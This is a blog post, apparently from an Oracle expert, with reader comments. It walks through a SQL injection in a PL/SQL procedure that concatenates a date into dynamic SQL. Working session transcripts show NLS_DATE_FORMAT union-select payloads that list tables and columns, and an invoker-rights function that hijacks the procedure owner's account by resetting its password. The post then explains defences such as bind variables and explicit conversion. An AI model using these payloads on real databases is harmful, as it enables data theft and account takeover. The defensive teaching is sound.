Friday, February 18, 2011

Interesting Read Followup…

Two days ago I wrote about an interesting security fiasco and said I’d follow up on it in a day or two – so here we are.

Just to recap – I wrote previously:

As a quick test - see if you can

  1. determine how the following bit of code can be attacked
  2. what might be the outcome of this attack - what might be compromised on your server if this code were attacked, what could they do with it?
  3. how to best protect against that attack
  4. how else - short of the "best" - would you protect against the attack

create or replace procedure inj( p_date in date )
as
l_rec all_users%rowtype;
c sys_refcursor;
l_query long;
begin
l_query := '
select *
from all_users
where created = ''' ||p_date ||'''';

dbms_output.put_line( l_query );
open c for l_query;

for i in 1 .. 5
loop
fetch c into l_rec;
exit when c%notfound;
dbms_output.put_line( l_rec.username || '.....' );
end loop;
close c;
end;


In the comments to that blog entry we did get the answers bit by bit, I’ll summarize them here.



For #1 and #2, determine how the following bit of code can be attacked and what the outcome might be, we saw in the comments that all it took was the ability to set your NLS_DATE_FORMAT.  A capability anyone with CREATE SESSION has.  For example, if we set the NLS_DATE_FORMAT and run the procedure:



ops$tkyte%ORA11GR2> alter session set

  2  nls_date_format = '"''union select tname,0,null from tab--"';



Session altered.



ops$tkyte%ORA11GR2>

ops$tkyte%ORA11GR2> exec inj(sysdate)



select *

from all_users


where created = ''union select tname,0,null from


tab--'


BIG_AUDIT_TABLE.....


BIG_TABLE.....


USER_PW.....


C1.....


C2.....



PL/SQL procedure successfully completed.




As you can see – instead of reading ALL_USERS, we are now reading TAB – and seeing what tables might exist there.  Now, I cannot query USER_PW – that is owned by the owner of the procedure and I have no select on it – but – we’ll be able to read it anyway since this stored procedure can be used to query any table in the schema that owns it!  But first, we’ll need to see the column names – we don’t know those yet.



ops$tkyte%ORA11GR2> alter session set

  2  nls_date_format = '"''union select tname||cname,0,null from col--"';



Session altered.



ops$tkyte%ORA11GR2> exec inj(sysdate)



select *

from all_users


where created = ''union select tname||cname,0,null


from col—'



USER_PWPW...

USER_PWUNAME...




I think you are getting the picture – using a bit of trickery – we can query up many things in that schema – discovering what we need as we go along. 



If I have CREATE PROCEDURE (say a disgruntled developer, or a developer that just likes to be able to do stuff on the sly…) – I can go much further.  Consider this:



ops$tkyte%ORA11GR2> grant execute on inj to scott;



Grant succeeded.



ops$tkyte%ORA11GR2> connect scott/tiger

Connected.


scott%ORA11GR2> create or replace function chgpw return varchar2


  2  AUTHID CURRENT_USER


  3  as


  4          pragma autonomous_transaction;


  5  begin


  6          execute immediate 'alter user ops$tkyte identified by barfoo';


  7          return 'got you';


  8  end;


  9  /



Function created.



scott%ORA11GR2> grant execute on chgpw to public;



Grant succeeded.



scott%ORA11GR2>

scott%ORA11GR2>


scott%ORA11GR2> connect ops$tkyte/barfoo


ERROR:


ORA-01017: invalid username/password; logon denied





Warning: You are no longer connected to ORACLE.

scott%ORA11GR2> connect scott/tiger


Connected.


scott%ORA11GR2> alter session set


  2  nls_date_format = '"''union select scott.chgpw,0,null from dual--"';



Session altered.



scott%ORA11GR2> exec ops$tkyte.inj(sysdate)



select *

from all_users


where created = ''union select scott.chgpw,0,null from


dual--'


got you.....



PL/SQL procedure successfully completed.



scott%ORA11GR2> connect ops$tkyte/barfoo

Connected.




Anyone with create procedure and create session can kidnap that account.  This is NOT a bug in Oracle, this is not a bug in the database – this is everything working as expected. This is a bug in your developed code.



 



Now, what about #3 and #4 – how can we protect against that attack?  The easiest answer is always “use bind variables”.  If you use bind variables in your SQL, your SQL cannot be injected.  It is that simple.



If you use bind variables, your SQL cannot be injected.



SQL can only be injected when you concatenate inputs from the outside into your SQL.  If you do not concatenate these inputs, they cannot become part of your SQL.



Now, what if you couldn’t use bind variables (I’m hard pressed to come up with a case whereby that is actually true!) or didn’t want to use bind variables (as might be true in a data mart/data warehouse).  What then?  In this case – you would never rely on an implicit conversion.  This bit of code:



where created = ‘’’ || p_date || ‘’’’;



relies on an implicit conversion from a string to a date.  Implicit conversion are evil incarnate – if you see them in your code or others code – fix it right away. Many bad things can happen – you’ve seen one above.  One possible fix would be to use this code:



where created = to_date( ''' || to_char(p_date,'yyyymmddhh24miss') ||''', ''yyyymmddhh24miss'' )';



That would make SQL Injection for that date input impossible – the ALTER SESSION SET NLS_DATE_FORMAT would have no impact on us anymore.



In other cases where the input is a string – we could use the DBMS_ASSERT package.



 



But always remember this:



If you use bind variables, your SQL cannot be injected.



It is really that simple!!!

POST A COMMENT

15 Comments:

Blogger Flado said....

I have to say that I picked up the NLS_DATE_FORMAT trick via Pete Finnigan's blog some time ago. There's a similar effect involving NLS_NUMERIC_CHARACTERS, albeit no-one seems to have figured out how to exploit it yet, as it only allows a single character (well, two characters actually, but never adjacent):
http://www.petefinnigan.com/weblog/archives/00001190.htm

Fri Feb 18, 07:07:00 PM EST  

Blogger xtender said....

I immediately thought about date format :)

Sat Feb 19, 12:12:00 PM EST  

Blogger Connor McDonald said....

as might be true in a data mart/data warehouse

Wouldn't it be nice to have a "force_peek" hint. Then *every* SQL statement could always have bind variables, and could be selectively optimized as if it contained literals for those particular cases...

The added bonus is that "automatic peeking" could then be dropped as a feature :-)

Sun Feb 20, 08:19:00 PM EST  

Anonymous Lucian Lazar said....

Brilliant example, Tom, so simple. All developers should read it and think twice before not using bind variables.

Mon Feb 21, 04:58:00 AM EST  

Anonymous Sokrates said....

"force_peek" hint

very nice idea I think !

Mon Feb 21, 10:38:00 AM EST  

Anonymous Craig said....

I have rarely seen developers make use of AUTHID CURRENT_USER procedures - many probably are not aware of them but hackers certainly are. Maybe the ability to create such procedures could require an additional explicit permission and this would help foster awareness of the dangers and code review.

Mon Feb 28, 02:32:00 PM EST  

Blogger Thomas Kyte said....

@Craig

funny thing is, many think if you use current_user - you are protecting yourself from sql injection :)

and in fact, when used properly - it can do so.

For example, my "dump_csv" procedure that takes an arbitrary query and dumps it to a file uses authid current_user. I used that to "protect" myself from sql injection. You cannot sql inject the authid current user routine - because it runs with the privileges of the invoker (and hence is no more sql injectable than SQLPlus or enterprise manager is!).

However if someone *tricked* a routine into calling dump_csv - then it would be a security issue for the tricked routine.


So, I don't think it should require extra privileges to create an authid current_user (it exists for security purposes in a manner!).

I do think that code that uses string concatenation needs to be reviewed by at least 5 people smarter then the coder - and those 5 people should not like the person whose code they are reviewing - just to make sure they are critical of the code :)

Mon Feb 28, 02:45:00 PM EST  

Blogger Stew said....

Pardon my ignorance, but how could the DBMS_ASSERT functions help you prevent SQL injection? I don't understand which of those functions would tell you "hey they've inserted SQL code into this variable!"

Thanks for the great essay.

Fri Mar 18, 04:26:00 PM EDT  

Blogger Stew said....

> I do think that code that uses string concatenation needs to be reviewed by at least 5 people smarter then the coder - and those 5 people should not like the person whose code they are reviewing - just to make sure they are critical of the code :)

I love it!

Fri Mar 18, 04:29:00 PM EDT  

Blogger Thomas Kyte said....

@Stew regarding dbms_assert.

Yes - that is what that package is designed for - you have to make sure it is use correctly (hence the review requirement!)

The easiest way to avoid sql injection = use bind variables.

Everything else requires thought and work and critical review, it is always a potential hole in the application.

Fri Mar 18, 04:37:00 PM EDT  

Blogger Stew said....

Ah, I needed to look at some examples of how to use the functions to understand how they'd help protect from SQL injection. The psoug.org site provided that. Thanks for the reply to force me to study dbms_assert more. I just wasn't getting the point.

To the rest of your reply, I got your message about bind variables loud and clear in the blog post. I always use them.

Mon Mar 21, 03:46:00 PM EDT  

Anonymous Anonymous said....

In my scenario i get the definition of the query from an XML and i form the where clause dynamically based on the presence of a value for an attribute in an XML. Can i still use a bind variables in this context? Sorry for being so vague

Wed Mar 23, 04:19:00 PM EDT  

Blogger Thomas Kyte said....

@Anonymous

Yes, the fact you are using dynamic SQL won't prevent you from using bind variables.

Think about it this way - ALL SQL in java is dynamic.

Java/JDBC does bind variables.

So, you will be able to use bind variables as well - from whatever language you are using.

Wed Mar 23, 04:21:00 PM EDT  

Anonymous Anonymous said....

Hi Tom,

Thanks for taking time to answer my question. I am sorry I should have been more clear.

I created a Oracle procedure which accepts a xmltype as input parameter and parses it in Oracle (XMLTABLE) and then forms the query. Now the Where clause is not constant and based on the values in the XML where clause can have different filter predicates. So i do not have a standard order in which i can supply the bind variables. Not sure if i am still being vague.

Thu Mar 24, 01:25:00 PM EDT  

Blogger Thomas Kyte said....

@anonymous

I understood you completely.

The article i sent you to deals with that - it shows using different predicates depending on the values encountered.

And if you are using plsql and don't want that approach - you always have dbms_sql - build the query using the XML to figure out the where clause and then prepare that statement and then using the XML again - bind the values by name.

And if you are using jdbc - then do what I just described for plsql using jdbc instead of dbms_sql.

Thu Mar 24, 03:34:00 PM EDT  

POST A COMMENT

<< Home